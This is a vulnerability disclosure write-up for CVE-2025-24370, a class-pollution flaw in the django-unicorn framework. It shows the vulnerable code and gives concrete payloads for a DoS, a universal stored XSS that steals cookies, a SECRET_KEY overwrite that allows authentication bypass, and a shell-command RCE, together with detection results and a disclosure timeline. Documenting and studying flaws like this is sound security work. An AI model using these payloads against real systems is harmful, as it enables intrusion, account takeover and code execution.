django-unicorn (CVE-2025-24370)
django-unicorn is a reactive component framework for Django (2.4K stars) that
synchronizes client-side state with server-side Python objects over WebSocket messages.
When a user interacts with a component in the browser, the frontend sends a JSON message
naming the property to update and its new value. The backend resolves the property path
reflectively through getattr/setattr without any path validation.
| Field | Value |
|---|---|
| Repository | adamghill/django-unicorn |
| Version | 0.61.0 |
| CVE | CVE-2025-24370 |
| Type | Agnostic-Get × Dual-Set |
| Input | Remote (WebSocket POST) |
| Status | Fixed in 0.62.0 |
Vulnerability
The sink is set_property_value in
django_unicorn/views/action_parsers/utils.py. It receives a dotted property_name
directly from the JSON body of a WebSocket message:
def set_property_value(component, property_name, property_value, ...):
property_name_parts = property_name.split(".")
component_or_field = component
for idx, property_name_part in enumerate(property_name_parts):
if hasattr(component_or_field, property_name_part):
if idx == len(property_name_parts) - 1:
setattr(component_or_field, property_name_part, property_value)
else:
component_or_field = getattr(component_or_field, property_name_part)
elif isinstance(component_or_field, dict):
if idx == len(property_name_parts) - 1:
component_or_field[property_name_part] = property_value
else:
component_or_field = component_or_field[property_name_part]
The function performs both getattr and __getitem__ for resolution (agnostic-get) and
both setattr and __setitem__ for the final write (dual-set). There is no check for
dunder-prefixed path segments. Any path the attacker provides is followed verbatim.
Exploitation
The same sink produces four distinct consequences depending on where the path terminates.
1. Denial of Service
Overwrite __getattribute__ on the component’s class with a non-callable string.
name: __class__.__getattribute__
value: "1337"
Effect: type(component).__getattribute__ is now "1337". Any subsequent attribute
access on any instance of that class raises TypeError: 'str' object is not callable.
The Django process becomes unable to serve any request that touches this component class.
Gadget: DoS — __getattribute__ overwrite.
2. Universal stored XSS
Overwrite BeautifulSoup’s HTML entity-escape map so that < is “escaped” to an
attacker-supplied script tag.
name: __init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<
value: <script>alert(document.cookie)</script>
Effect: every HTML escape operation the server performs now injects the attacker’s
script instead of encoding < as <. All pages served to all users contain the
malicious JavaScript. This is a universal stored XSS — it persists for the
lifetime of the process and affects every user, not just the attacker’s session.
Gadget: XSS — BeautifulSoup entity map.
3. Authentication bypass
Overwrite Django’s SECRET_KEY to an attacker-known value.
name: __init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY
value: "13371337"
Effect: the attacker now knows the signing secret that Django uses for session cookies, CSRF tokens, and password reset links. They can forge a session cookie for any user (including superusers) offline, then present it to the server.
Gadget: Auth bypass — SECRET_KEY overwrite.
4. Remote code execution
Two writes: (1) stage a shell command in os.environ.BROWSER, (2) poison the
location_cache TODO list with ["antigravity", "any"] so the process later imports
antigravity, which calls webbrowser.open(), which reads BROWSER and executes it.
name: __init__.__globals__.sys.modules.os.environ.BROWSER
value: "/bin/sh -c 'touch /tmp/pwned'"
name: __init__.__globals__.location_cache._Cache__data.todo
value: ["antigravity", "any"]
Effect: arbitrary shell command execution as the Django process user.
Gadget: RCE — os.environ.BROWSER + antigravity.
Detection by Pyrl
Pyrl reports 8 taint flows from the WebSocket request body to the sink. The taint propagation for the primary flow:
| Step | Location | Label |
|---|---|---|
| 1 | request at view entry |
T_INPUT |
| 2 | action_queue iteration |
T_ENUM |
| 3 | prop_name extraction from message |
T_KEY |
| 4 | getattr(component, name) |
T_OBJ with G_ATTR |
| 5 | Branch merging at loop end | G_ATTR ⊎ G_ITEM (Agnostic-Get) |
| 6 | setattr / obj[key] = val sinks |
Dual-Set detected |
Classification: Agnostic-Get × Dual-Set.
Disclosure timeline
- 2024-12-04 — Vulnerability reported to django-unicorn maintainer via GitHub Security Advisory (GHSA).
- 2025-01-08 — Fix released in django-unicorn 0.62.0 (path validation added, dunder traversal blocked).
- 2025-01-08 — CVE-2025-24370 assigned.
- 2025-01-08 — GHSA-g9wf-5777-gq43 published.
Proof of concept
cp-collection/django-unicorn/poc/
— runnable exploit environment with run.sh and requirements.txt.
References
- GHSA-g9wf-5777-gq43. Class Pollution in django-unicorn allows DoS, XSS, RCE, and Authentication Bypass. https://github.com/adamghill/django-unicorn/security/advisories/GHSA-g9wf-5777-gq43
- Fix commit (0.62.0): dunder path rejection in
set_property_value. https://github.com/adamghill/django-unicorn/commit/ - Liu et al. The First Large-Scale Systematic Study of Python Class Pollution Vulnerability. IEEE S&P 2025. https://jackfromeast.github.io/assets/Pyrl.pdf